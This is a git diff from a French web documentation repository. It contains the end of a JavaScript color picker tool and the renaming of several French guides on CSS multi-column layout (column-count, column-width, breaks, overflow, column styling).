+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ + +
{{CSSRef}}
+ +

Cet outil vous permet de définir des couleurs web personnalisées.

+ +

L'outil offre également une conversion facile entre les différents formats de couleurs CSS: couleurs hexadécimales, RVB (Rouge, Vert, Bleu) (aussi appelé RGB en anglais) et TSL (Teinte, Saturation Luminosité) (aussi appelé HSL en anglais). Le canal Alpha est également pris en charge pour les formats RGB (rgba) et HSL (hsla).

+ +

Chaque couleur est prédéfinie dans les 3 formats standard CSS.

+ +

En fonction de la couleur courante, une palette de couleurs est générée sur une échelle TSL ainsi que sur une échelle de transparence (en faisant varier l'alpha).

+ +

Le sélecteur peut être réglé sur les formats HSL ou HSV (valeur de teinte et staturation).

+ +

{{EmbedLiveSample('ColorPIcker_Tool', '100%', '900')}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.html b/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.html new file mode 100644 index 0000000000..2032e1c2c6 --- /dev/null +++ b/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.html @@ -0,0 +1,92 @@ +--- +title: Concepts de base pour la disposition multi-colonnes +slug: Web/CSS/CSS_Columns/Concepts_base_multi-colonnes +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol +--- +
{{CSSRef}}
+ +

La disposition sur plusieurs colonnes (« Multiple-column Layout » ou « multicol » en anglais) est un module de spécification pour organiser du contenu sur un ensemble de colonnes, à la façon des colonnes dans un journal imprimé. Dans ce guide, nous verrons comment fonctionne cette spécification et quelques cas d'exemples.

+ +

Concepts et terminologie

+ +

La disposition multi-colonnes se distinguent des autres dispositions CSS car elle fragmente le contenu, y compris les éléments descendants, en colonnes. Cela se produira de façon analogue en fragmentant sur des pages avec le module de spécification CSS Paged Media.

+ +

Les propriétés définies dans cette spécification sont :

+ +
    +
  • {{cssxref("column-width")}}
    • +
  • {{cssxref("column-count")}}
    • +
  • {{cssxref("columns")}}
    • +
  • {{cssxref("column-rule-color")}}
    • +
  • {{cssxref("column-rule-style")}}
    • +
  • {{cssxref("column-rule-width")}}
    • +
  • {{cssxref("column-rule")}}
    • +
  • {{cssxref("column-span")}}
    • +
  • {{cssxref("column-fill")}}
    • +
  • {{cssxref("column-gap")}}
    • +
+ +

En ajoutant column-count ou column-width à un élément, on le transforme en conteneur multi-colonnes. Les colonnes sont des boîtes anonymes et sont décrites comme des « boîtes de colonne » dans la spécification.

+ +

Definir des colonnes

+ +

Afin de créer un conteneur multi-colonnes, il est nécessaire d'utiliser au moins une propriété column-* (column-count ou column-width).

+ +

La propriété column-count

+ +

La propriété column-count définit le nombre de colonnes sur lesquelles on veut afficher le contenu. Le navigateur affectera l'espace nécessaire à chaque boîte de colonne afin d'en créer le nombre indiqué.

+ +

Dans l'exemple qui suit, on utilise la propriété column-count afin de créer trois colonnes au sein de l'élément .container. Le contenu, y compris l'élément fils de .container est alors divisé en trois colonnes.

+ +

{{EmbedGHLiveSample("css-examples/multicol/basics/column-count.html", '100%', 550)}}

+ +

Dans l'exemple qui précède, le contenu est intégré dans des paragraphes avec une mise en forme par défaut. Aussi, il y a une marge au dessus de chaque paragraphe. On peut voir comment cette marge décale la première ligne de texte vers le bas. Cela se produit car un conteneur multi-colonnes crée un nouveau contexte de formatage de bloc, ce qui signifie que les marges des éléments fils ne fusionnent pas avec les marges du conteneur.

+ +

La propriété column-width

+ +

La propriété column-width est utilisé afin de définir la largeur optimale pour chaque boîte de colonne. Si on déclare une valeur pour column-width, le navigateur calculera combien de colonnes de cette taille peuvent être intégrées puis répartira l'espace supplémentaire équitablement entre les colonnes. Aussi mieux vaut-il voir column-width comme une largeur minimale plutôt que comme une largeur exacte, l'espace restant étant rajouté ensuite.

+ +

Il existe un seul cas où la boîte de colonne peut être plus petite que column-width : lorsqu'il n'y a qu'une seule colonne et que l'espace disponible est inférieur à column-width.

+ +

Dans l'exemple qui suit, on utilise la propriété column-width avec une valeur de 200px et on obtient donc autant de colonnes de 200 pixels que possible avec l'espace restant partagé équitablement entre les différentes colonnes.

+ +

{{EmbedGHLiveSample("css-examples/multicol/basics/column-width.html", '100%', 550)}}

+ +

Utiliser column-count et column-width

+ +

Si on définit les deux propriétés pour un conteneur multi-colonnes, column-count agira comme un maximum pour le nombre de colonnes. Le comportement décrit avant pour column-width aura bien lieu, jusqu'à ce que le nombre de colonnes décrit par column-count soit atteint. Ensuite, aucune autre colonne ne sera ajoutée et l'espace restant sera réparti entre les colonnes existantes (et ce même si l'espace restant permettrait de rajouter une ou plusieurs colonnes de largeur column-width).

+ +

Lorsqu'on utilise les deux propriétés ensemble, on peut obtenir un nombre de colonnes réel inférieur à la valeur fournie avec column-count.

+ +

Dans l'exemple suivant, on utilise column-width avec une valeur de 200px et column-count avec une valeur de 2. S'il y a de l'espace pour plus de deux colonnes, on aura uniquement deux colonnes. S'il n'y a pas assez d'espace pour deux colonnes de 200 pixels, il n'y en aura qu'une.

+ +

{{EmbedGHLiveSample("css-examples/multicol/basics/column-count-width.html", '100%', 550)}}

+ +

La propriété raccourcie columns

+ +

La propriété raccourcie columns peut être utilisée afin de définir à la fois column-count et column-width. Si on utilise une unité de longueur, la valeur sera utilisée pour column-width, si on utilise un entier, la valeur sera utilisée pour column-count. Les deux peuvent être définies simultanément en étant séparées d'un espace.

+ +

Ce fragment de code CSS donnera donc le même résultat que pour le premier exemple où column-count vaut 3.

+ +
.container {
+  columns: 3;
+}
+ +

Ce fragment de code CSS donnera le même résultat que pour le deuxième exemple où column-width vaut 200px.

+ +
.container {
+  columns: 200px;
+}
+ +

Enfin, ce fragment de code CSS donnera le même résultat que le troisième exemple où les deux propriétés column-count et column-width sont définies.

+ +
.container {
+  columns: 2 200px;
+}
+ +

Prochaines étapes

+ +

Dans ce guide, nous avons vu des cas d'utilisation simples avec une disposition multi-colonnes. Dans le prochain article, nous verrons comment mettre en forme chacune des colonnes.

diff --git a/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html b/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html deleted file mode 100644 index 2032e1c2c6..0000000000 --- a/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Concepts de base pour la disposition multi-colonnes -slug: Web/CSS/CSS_Columns/Concepts_base_multi-colonnes -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol ---- -
{{CSSRef}}
- -

La disposition sur plusieurs colonnes (« Multiple-column Layout » ou « multicol » en anglais) est un module de spécification pour organiser du contenu sur un ensemble de colonnes, à la façon des colonnes dans un journal imprimé. Dans ce guide, nous verrons comment fonctionne cette spécification et quelques cas d'exemples.

- -

Concepts et terminologie

- -

La disposition multi-colonnes se distinguent des autres dispositions CSS car elle fragmente le contenu, y compris les éléments descendants, en colonnes. Cela se produira de façon analogue en fragmentant sur des pages avec le module de spécification CSS Paged Media.

- -

Les propriétés définies dans cette spécification sont :

- -
    -
  • {{cssxref("column-width")}}
    • -
  • {{cssxref("column-count")}}
    • -
  • {{cssxref("columns")}}
    • -
  • {{cssxref("column-rule-color")}}
    • -
  • {{cssxref("column-rule-style")}}
    • -
  • {{cssxref("column-rule-width")}}
    • -
  • {{cssxref("column-rule")}}
    • -
  • {{cssxref("column-span")}}
    • -
  • {{cssxref("column-fill")}}
    • -
  • {{cssxref("column-gap")}}
    • -
- -

En ajoutant column-count ou column-width à un élément, on le transforme en conteneur multi-colonnes. Les colonnes sont des boîtes anonymes et sont décrites comme des « boîtes de colonne » dans la spécification.

- -

Definir des colonnes

- -

Afin de créer un conteneur multi-colonnes, il est nécessaire d'utiliser au moins une propriété column-* (column-count ou column-width).

- -

La propriété column-count

- -

La propriété column-count définit le nombre de colonnes sur lesquelles on veut afficher le contenu. Le navigateur affectera l'espace nécessaire à chaque boîte de colonne afin d'en créer le nombre indiqué.

- -

Dans l'exemple qui suit, on utilise la propriété column-count afin de créer trois colonnes au sein de l'élément .container. Le contenu, y compris l'élément fils de .container est alors divisé en trois colonnes.

- -

{{EmbedGHLiveSample("css-examples/multicol/basics/column-count.html", '100%', 550)}}

- -

Dans l'exemple qui précède, le contenu est intégré dans des paragraphes avec une mise en forme par défaut. Aussi, il y a une marge au dessus de chaque paragraphe. On peut voir comment cette marge décale la première ligne de texte vers le bas. Cela se produit car un conteneur multi-colonnes crée un nouveau contexte de formatage de bloc, ce qui signifie que les marges des éléments fils ne fusionnent pas avec les marges du conteneur.

- -

La propriété column-width

- -

La propriété column-width est utilisé afin de définir la largeur optimale pour chaque boîte de colonne. Si on déclare une valeur pour column-width, le navigateur calculera combien de colonnes de cette taille peuvent être intégrées puis répartira l'espace supplémentaire équitablement entre les colonnes. Aussi mieux vaut-il voir column-width comme une largeur minimale plutôt que comme une largeur exacte, l'espace restant étant rajouté ensuite.

- -

Il existe un seul cas où la boîte de colonne peut être plus petite que column-width : lorsqu'il n'y a qu'une seule colonne et que l'espace disponible est inférieur à column-width.

- -

Dans l'exemple qui suit, on utilise la propriété column-width avec une valeur de 200px et on obtient donc autant de colonnes de 200 pixels que possible avec l'espace restant partagé équitablement entre les différentes colonnes.

- -

{{EmbedGHLiveSample("css-examples/multicol/basics/column-width.html", '100%', 550)}}

- -

Utiliser column-count et column-width

- -

Si on définit les deux propriétés pour un conteneur multi-colonnes, column-count agira comme un maximum pour le nombre de colonnes. Le comportement décrit avant pour column-width aura bien lieu, jusqu'à ce que le nombre de colonnes décrit par column-count soit atteint. Ensuite, aucune autre colonne ne sera ajoutée et l'espace restant sera réparti entre les colonnes existantes (et ce même si l'espace restant permettrait de rajouter une ou plusieurs colonnes de largeur column-width).

- -

Lorsqu'on utilise les deux propriétés ensemble, on peut obtenir un nombre de colonnes réel inférieur à la valeur fournie avec column-count.

- -

Dans l'exemple suivant, on utilise column-width avec une valeur de 200px et column-count avec une valeur de 2. S'il y a de l'espace pour plus de deux colonnes, on aura uniquement deux colonnes. S'il n'y a pas assez d'espace pour deux colonnes de 200 pixels, il n'y en aura qu'une.

- -

{{EmbedGHLiveSample("css-examples/multicol/basics/column-count-width.html", '100%', 550)}}

- -

La propriété raccourcie columns

- -

La propriété raccourcie columns peut être utilisée afin de définir à la fois column-count et column-width. Si on utilise une unité de longueur, la valeur sera utilisée pour column-width, si on utilise un entier, la valeur sera utilisée pour column-count. Les deux peuvent être définies simultanément en étant séparées d'un espace.

- -

Ce fragment de code CSS donnera donc le même résultat que pour le premier exemple où column-count vaut 3.

- -
.container {
-  columns: 3;
-}
- -

Ce fragment de code CSS donnera le même résultat que pour le deuxième exemple où column-width vaut 200px.

- -
.container {
-  columns: 200px;
-}
- -

Enfin, ce fragment de code CSS donnera le même résultat que le troisième exemple où les deux propriétés column-count et column-width sont définies.

- -
.container {
-  columns: 2 200px;
-}
- -

Prochaines étapes

- -

Dans ce guide, nous avons vu des cas d'utilisation simples avec une disposition multi-colonnes. Dans le prochain article, nous verrons comment mettre en forme chacune des colonnes.

diff --git "a/files/fr/web/css/css_columns/gestion_d\303\251passement_multi-colonnes/index.html" "b/files/fr/web/css/css_columns/gestion_d\303\251passement_multi-colonnes/index.html" deleted file mode 100644 index 7dc6078442..0000000000 --- "a/files/fr/web/css/css_columns/gestion_d\303\251passement_multi-colonnes/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Gestion du dépassement en multi-colonnes -slug: Web/CSS/CSS_Columns/Gestion_dépassement_multi-colonnes -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol ---- -
{{CSSRef}}
- -

Dans ce guide, nous verrons comment gérer le dépassement avec une disposition multi-colonnes. Le dépassement peut avoir lieu pour chaque boîte de colonne ou lorsqu'il y a plus de contenu que de place dans le conteneur.

- -

Le dépassement dans les boîtes des colonnes

- -

On peut avoir un dépassement lorsqu'un objet est plus grand que la taille de la boîte de la colonne. Cela peut notamment se produire lorsqu'on a une image dans une colonne et que la largeur de cette image est supérieure à la valeur de column-width ou à la largeur des colonnes selon le nombre indiqué avec column-count.

- -

Dans cette situation, le contenu dépasse sur la prochaine colonne et n'est pas rogné à la boîte de la colonne. Voici un exemple qui suit et une illustration du résultat attendu (les navigateurs actuels pouvant afficher un résultat différent).

- -

{{EmbedGHLiveSample("css-examples/multicol/overflow/image.html", '100%', 800)}}

- -

- -

Si on veut une image qui se réduise à la boîte de la colonne, on pourra utiliser les solutions pour les images adaptatives et max-width: 100% pour y parvenir.

- -

{{EmbedGHLiveSample("css-examples/multicol/overflow/image-max-width.html", '100%', 800)}}

- -

Plus de colonnes que d'espace disponible

- -

La façon dont les colonnes dépassent dépend du contexte dans lequel le document est affiché : est-ce un média fragmenté (pour l'impression par exemple) ou un média continu (une page web par exemple) ?

- -

Pour un média fragmenté, une fois qu'un fragment (ex. une page) est rempli de colonnes, les colonnes suivantes seront ajoutées sur le fragment suivant (ex. une nouvelle page) et ainsi de suite. Pour les médias continus, les colonnes dépasseront selon l'axe en ligne. Pour le Web, cela signifie qu'on aura une barre de défilement horizontal.

- -

Dans l'exemple qui suit, on peut observer un tel dépassement. Le conteneur multi-colonnes possède une hauteur fixée et il y a plus de texte que d'espace nécessaire pour créer des colonnes. On a alors des colonnes créées en dehors du conteneur.

- -

{{EmbedGHLiveSample("css-examples/multicol/overflow/overflow-inline.html", '100%', 800)}}

- -
-

Note : On peut souhaiter qu'une future version de la spécification permette de préciser la direction selon laquelle les colonnes qui dépassent sont affichées et ainsi pouvoir dépasser dans la direction de bloc (et non uniquement selon l'axe en ligne).

-
- -

Utiliser les requêtes média verticales

- -

Lorsque les colonnes sont plus hautes que la zone d'affichage (viewport), par défaut, le lecteur devra faire défiler le contenu verticalement pour tout voir, dégradant ainsi l'ergonomie. Pour éviter ce problème, on peut n'appliquer les colonnes que lorsque la hauteur est suffisante.

- -

Dans l'exemple qui suit, on utilise par exemple une requête média avec min-height pour vérifier la hauteur avant d'appliquer les propriétés relatives aux colonnes.

- -

{{EmbedGHLiveSample("css-examples/multicol/overflow/min-height.html", '100%', 800)}}

- -

Dans le dernier guide de cette série, nous verrons comment la disposition multi-colonnes interagit avec le module de spécification Fragmentation et nous permet de contrôler la façon dont le contenu est coupé entre les colonnes.

diff --git "a/files/fr/web/css/css_columns/g\303\251rer_rupture_contenu_entre_colonnes/index.html" "b/files/fr/web/css/css_columns/g\303\251rer_rupture_contenu_entre_colonnes/index.html" deleted file mode 100644 index 909c9bd2a5..0000000000 --- "a/files/fr/web/css/css_columns/g\303\251rer_rupture_contenu_entre_colonnes/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Gérer la rupture du contenu entre les colonnes -slug: Web/CSS/CSS_Columns/Gérer_rupture_contenu_entre_colonnes -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol ---- -
{{CSSRef}}
- -

Le contenu est coupé entre les colonnes d'une disposition multi-colonnes de la même façon qu'il est coupé entre chaque page d'un média paginé. Dans ces deux contextes, la façon dont on contrôle l'emplacement et la coupure se paramètre grâce aux propriétés décrites dans le module de spécification CSS Fragmentation. Dans ce guide, nous verrons comment fonctionne la fragmentation en multi-colonnes.

- -

Quelques notions de bases sur la fragmentation

- -

Le module de spécification CSS Fragmentation détaille la façon dont le contenu peut être coupé entre les conteneur de fragmentation. Pour une disposition multi-colonnes, le conteneur de fragmentation correspond à la boîte de colonne.

- -

Le contenu d'une boîte de colonne peut être varié et une coupure peut être malvenue à certains endroits. On préfèrerait par exemple qu'une légende ne soit pas séparée de l'image entre une colonne et la suivante. Les propriétés relatives à la fragmentation permettent de contrôler certains aspects de ces coupures.

- -

Voici plusieurs emplacements où on peut souhaiter contrôler les ruptures :

- -
    -
  • Les ruptures à l'intérieur des boîtes, par exemple à l'intérieur d'un élément <figure>
    • -
  • Les ruptures avant et après les boîtes
    • -
  • Les ruptures entre les lignes
    • -
- -

Les ruptures à l'intérieur des boîtes

- -

Pour contrôler la façon dont le contenu est coupé à l'intérieur d'une boîte, on pourra utiliser la propriété {{cssxref("break-inside")}}. Cette propriété peut prendre les valeurs suivantes :

- -
    -
  • auto
    • -
  • avoid
    • -
  • avoid-page
    • -
  • avoid-column
    • -
  • avoid-region
    • -
- -

Dans l'exemple qui suit, on a appliqué break-inside sur l'élément figure afin d'éviter que la légende soit séparée de l'image.

- -

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-inside.html", '100%', 800)}}

- -

Les ruptures avant et après les boîtes

- -

Les propriétés {{cssxref("break-before")}} et {{cssxref("break-after")}} contrôlent respectivement les ruptures avant et après les éléments. Dans une disposition multi-colonnes, ces propriétés peuvent être utilisées avec les valeurs suivantes :

- -
    -
  • auto
    • -
  • avoid
    • -
  • avoid-column
    • -
  • column
    • -
- -

Avec l'exemple suivant, on force une rupture avant chaque élément de titre h2.

- -

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-before.html", '100%', 800)}}

- -

Les ruptures entre les lignes

- -

On peut aussi utiliser les propriétés {{cssxref("orphans")}} et {{cssxref("widows")}}. La propriété  orphans contrôle le nombre de lignes qui restent à la fin d'un fragment et la propriété widows contrôle le nombre de lignes qui restent au début d'un fragment.

- -

Les propriétés orphans et widows prennent un entier comme valeur et qui indique le nombre de lignes à avoir à la fin ou au début d'un fragment. On notera que ces propriétés ne fonctionnent qu'à l'intérieur d'un conteneur de bloc (un paragraphe par exemple). Si le bloc contient un nombre de lignes inférieur au nombre précisé pour la propriété, toutes les lignes resteront groupées ensemble.

- -

Dans l'exemple ci-après, on utilise la propriété orphans pour contrôler le nombre de lignes conservées à la fin d'une colonne. Vous pouvez modifier la valeur afin de voir l'impact sur la rupture du contenu.

- -

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/orphans.html", '100%', 800)}}

- -

Résultat non garanti

- -

Si on souhaite prévenir la rupture à de nombreux endroits, le navigateur sera quand même obligé de couper le contenu entre les colonnes. D'une certaine façon, ces propriétés agissent plutôt comme des suggestions envers le moteur que comme des ordres.

- -

De plus, la prise en charge de ces propriétés n'est pas la plus homogène possible entre les navigateurs. Vous pouvez vous référer aux tableaux de compatibilité des pages de chaque propriété pour en savoir plus. Dans la plupart des cas, mieux vaudra encore laisser gérer le système plutôt que d'avoir trop de ruptures aux endroits indésirables.

diff --git a/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.html b/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.html new file mode 100644 index 0000000000..909c9bd2a5 --- /dev/null +++ b/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.html @@ -0,0 +1,72 @@ +--- +title: Gérer la rupture du contenu entre les colonnes +slug: Web/CSS/CSS_Columns/Gérer_rupture_contenu_entre_colonnes +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol +--- +
{{CSSRef}}
+ +

Le contenu est coupé entre les colonnes d'une disposition multi-colonnes de la même façon qu'il est coupé entre chaque page d'un média paginé. Dans ces deux contextes, la façon dont on contrôle l'emplacement et la coupure se paramètre grâce aux propriétés décrites dans le module de spécification CSS Fragmentation. Dans ce guide, nous verrons comment fonctionne la fragmentation en multi-colonnes.

+ +

Quelques notions de bases sur la fragmentation

+ +

Le module de spécification CSS Fragmentation détaille la façon dont le contenu peut être coupé entre les conteneur de fragmentation. Pour une disposition multi-colonnes, le conteneur de fragmentation correspond à la boîte de colonne.

+ +

Le contenu d'une boîte de colonne peut être varié et une coupure peut être malvenue à certains endroits. On préfèrerait par exemple qu'une légende ne soit pas séparée de l'image entre une colonne et la suivante. Les propriétés relatives à la fragmentation permettent de contrôler certains aspects de ces coupures.

+ +

Voici plusieurs emplacements où on peut souhaiter contrôler les ruptures :

+ +
    +
  • Les ruptures à l'intérieur des boîtes, par exemple à l'intérieur d'un élément <figure>
    • +
  • Les ruptures avant et après les boîtes
    • +
  • Les ruptures entre les lignes
    • +
+ +

Les ruptures à l'intérieur des boîtes

+ +

Pour contrôler la façon dont le contenu est coupé à l'intérieur d'une boîte, on pourra utiliser la propriété {{cssxref("break-inside")}}. Cette propriété peut prendre les valeurs suivantes :

+ +
    +
  • auto
    • +
  • avoid
    • +
  • avoid-page
    • +
  • avoid-column
    • +
  • avoid-region
    • +
+ +

Dans l'exemple qui suit, on a appliqué break-inside sur l'élément figure afin d'éviter que la légende soit séparée de l'image.

+ +

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-inside.html", '100%', 800)}}

+ +

Les ruptures avant et après les boîtes

+ +

Les propriétés {{cssxref("break-before")}} et {{cssxref("break-after")}} contrôlent respectivement les ruptures avant et après les éléments. Dans une disposition multi-colonnes, ces propriétés peuvent être utilisées avec les valeurs suivantes :

+ +
    +
  • auto
    • +
  • avoid
    • +
  • avoid-column
    • +
  • column
    • +
+ +

Avec l'exemple suivant, on force une rupture avant chaque élément de titre h2.

+ +

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-before.html", '100%', 800)}}

+ +

Les ruptures entre les lignes

+ +

On peut aussi utiliser les propriétés {{cssxref("orphans")}} et {{cssxref("widows")}}. La propriété  orphans contrôle le nombre de lignes qui restent à la fin d'un fragment et la propriété widows contrôle le nombre de lignes qui restent au début d'un fragment.

+ +

Les propriétés orphans et widows prennent un entier comme valeur et qui indique le nombre de lignes à avoir à la fin ou au début d'un fragment. On notera que ces propriétés ne fonctionnent qu'à l'intérieur d'un conteneur de bloc (un paragraphe par exemple). Si le bloc contient un nombre de lignes inférieur au nombre précisé pour la propriété, toutes les lignes resteront groupées ensemble.

+ +

Dans l'exemple ci-après, on utilise la propriété orphans pour contrôler le nombre de lignes conservées à la fin d'une colonne. Vous pouvez modifier la valeur afin de voir l'impact sur la rupture du contenu.

+ +

{{EmbedGHLiveSample("css-examples/multicol/fragmentation/orphans.html", '100%', 800)}}

+ +

Résultat non garanti

+ +

Si on souhaite prévenir la rupture à de nombreux endroits, le navigateur sera quand même obligé de couper le contenu entre les colonnes. D'une certaine façon, ces propriétés agissent plutôt comme des suggestions envers le moteur que comme des ordres.

+ +

De plus, la prise en charge de ces propriétés n'est pas la plus homogène possible entre les navigateurs. Vous pouvez vous référer aux tableaux de compatibilité des pages de chaque propriété pour en savoir plus. Dans la plupart des cas, mieux vaudra encore laisser gérer le système plutôt que d'avoir trop de ruptures aux endroits indésirables.

diff --git a/files/fr/web/css/css_columns/handling_overflow_in_multicol/index.html b/files/fr/web/css/css_columns/handling_overflow_in_multicol/index.html new file mode 100644 index 0000000000..7dc6078442 --- /dev/null +++ b/files/fr/web/css/css_columns/handling_overflow_in_multicol/index.html @@ -0,0 +1,49 @@ +--- +title: Gestion du dépassement en multi-colonnes +slug: Web/CSS/CSS_Columns/Gestion_dépassement_multi-colonnes +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol +--- +
{{CSSRef}}
+ +

Dans ce guide, nous verrons comment gérer le dépassement avec une disposition multi-colonnes. Le dépassement peut avoir lieu pour chaque boîte de colonne ou lorsqu'il y a plus de contenu que de place dans le conteneur.

+ +

Le dépassement dans les boîtes des colonnes

+ +

On peut avoir un dépassement lorsqu'un objet est plus grand que la taille de la boîte de la colonne. Cela peut notamment se produire lorsqu'on a une image dans une colonne et que la largeur de cette image est supérieure à la valeur de column-width ou à la largeur des colonnes selon le nombre indiqué avec column-count.

+ +

Dans cette situation, le contenu dépasse sur la prochaine colonne et n'est pas rogné à la boîte de la colonne. Voici un exemple qui suit et une illustration du résultat attendu (les navigateurs actuels pouvant afficher un résultat différent).

+ +

{{EmbedGHLiveSample("css-examples/multicol/overflow/image.html", '100%', 800)}}

+ +

+ +

Si on veut une image qui se réduise à la boîte de la colonne, on pourra utiliser les solutions pour les images adaptatives et max-width: 100% pour y parvenir.

+ +

{{EmbedGHLiveSample("css-examples/multicol/overflow/image-max-width.html", '100%', 800)}}

+ +

Plus de colonnes que d'espace disponible

+ +

La façon dont les colonnes dépassent dépend du contexte dans lequel le document est affiché : est-ce un média fragmenté (pour l'impression par exemple) ou un média continu (une page web par exemple) ?

+ +

Pour un média fragmenté, une fois qu'un fragment (ex. une page) est rempli de colonnes, les colonnes suivantes seront ajoutées sur le fragment suivant (ex. une nouvelle page) et ainsi de suite. Pour les médias continus, les colonnes dépasseront selon l'axe en ligne. Pour le Web, cela signifie qu'on aura une barre de défilement horizontal.

+ +

Dans l'exemple qui suit, on peut observer un tel dépassement. Le conteneur multi-colonnes possède une hauteur fixée et il y a plus de texte que d'espace nécessaire pour créer des colonnes. On a alors des colonnes créées en dehors du conteneur.

+ +

{{EmbedGHLiveSample("css-examples/multicol/overflow/overflow-inline.html", '100%', 800)}}

+ +
+

Note : On peut souhaiter qu'une future version de la spécification permette de préciser la direction selon laquelle les colonnes qui dépassent sont affichées et ainsi pouvoir dépasser dans la direction de bloc (et non uniquement selon l'axe en ligne).

+
+ +

Utiliser les requêtes média verticales

+ +

Lorsque les colonnes sont plus hautes que la zone d'affichage (viewport), par défaut, le lecteur devra faire défiler le contenu verticalement pour tout voir, dégradant ainsi l'ergonomie. Pour éviter ce problème, on peut n'appliquer les colonnes que lorsque la hauteur est suffisante.

+ +

Dans l'exemple qui suit, on utilise par exemple une requête média avec min-height pour vérifier la hauteur avant d'appliquer les propriétés relatives aux colonnes.

+ +

{{EmbedGHLiveSample("css-examples/multicol/overflow/min-height.html", '100%', 800)}}

+ +

Dans le dernier guide de cette série, nous verrons comment la disposition multi-colonnes interagit avec le module de spécification Fragmentation et nous permet de contrôler la façon dont le contenu est coupé entre les colonnes.

diff --git a/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html b/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html deleted file mode 100644 index 0689060daf..0000000000 --- a/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Mettre en forme les colonnes -slug: Web/CSS/CSS_Columns/Mettre_en_forme_les_colonnes -tags: - - CSS - - CSS Multi-column Layout - - Guide -translation_of: Web/CSS/CSS_Columns/Styling_Columns ---- -
{{CSSRef}}
- -

Les boîtes de colonne créées au sein des conteneurs multi-colonnes sont des boîtes anonymes et leur mise en forme est donc limitée. Elle n'est toutefois pas inexistante. Dans ce guide nous verrons comment modifier l'espace entre les colonnes et comment mettre en forme une ligne entre les colonnes.

- -

Peut-on mettre en forme les boîtes des colonnes ?

- -

Malheureusement, ce n'est pas possible actuellement. Il est impossible de cibler les boîtes anonymes des colonnes de quelque façon que ce soit. On ne peut donc pas changer la couleur d'arrière-plan d'une colonne donnée ou agrandir une colonne plus qu'une autre. De futures versions du module de spécification permettront peut-être de réaliser cela un jour mais nous devons pour le moment nous cantonner à paramétrer l'espacement entre les colonnes et à mettre en forme les lignes séparatrices entre les colonnes.

- -

L'espaceement : la propriété column-gap

- -

L'espacement entre les colonnes est contrôlé par la propriété column-gap. Cette propriété était initialement définie dans le module de spécification Multi-column Layout mais est désormais définie dans le module de spécification Box Alignment (dont le but est d'unifier la gestion des espacements entre les boîtes, que ce soit pour les colonnes ou pour d'autres types de disposition telles que les grilles CSS).

- -

Dans une disposition multi-colonne, la valeur initiale de la propriété column-gap est 1em. Cela signifie que les colonnes ne se touchent pas les unes les autres. Pour les autres méthodes de disposition, la valeur initiale de column-gap est 0. Le mot-clé normal est une valeur qui permet d'obtenir un écart de 1em.

- -

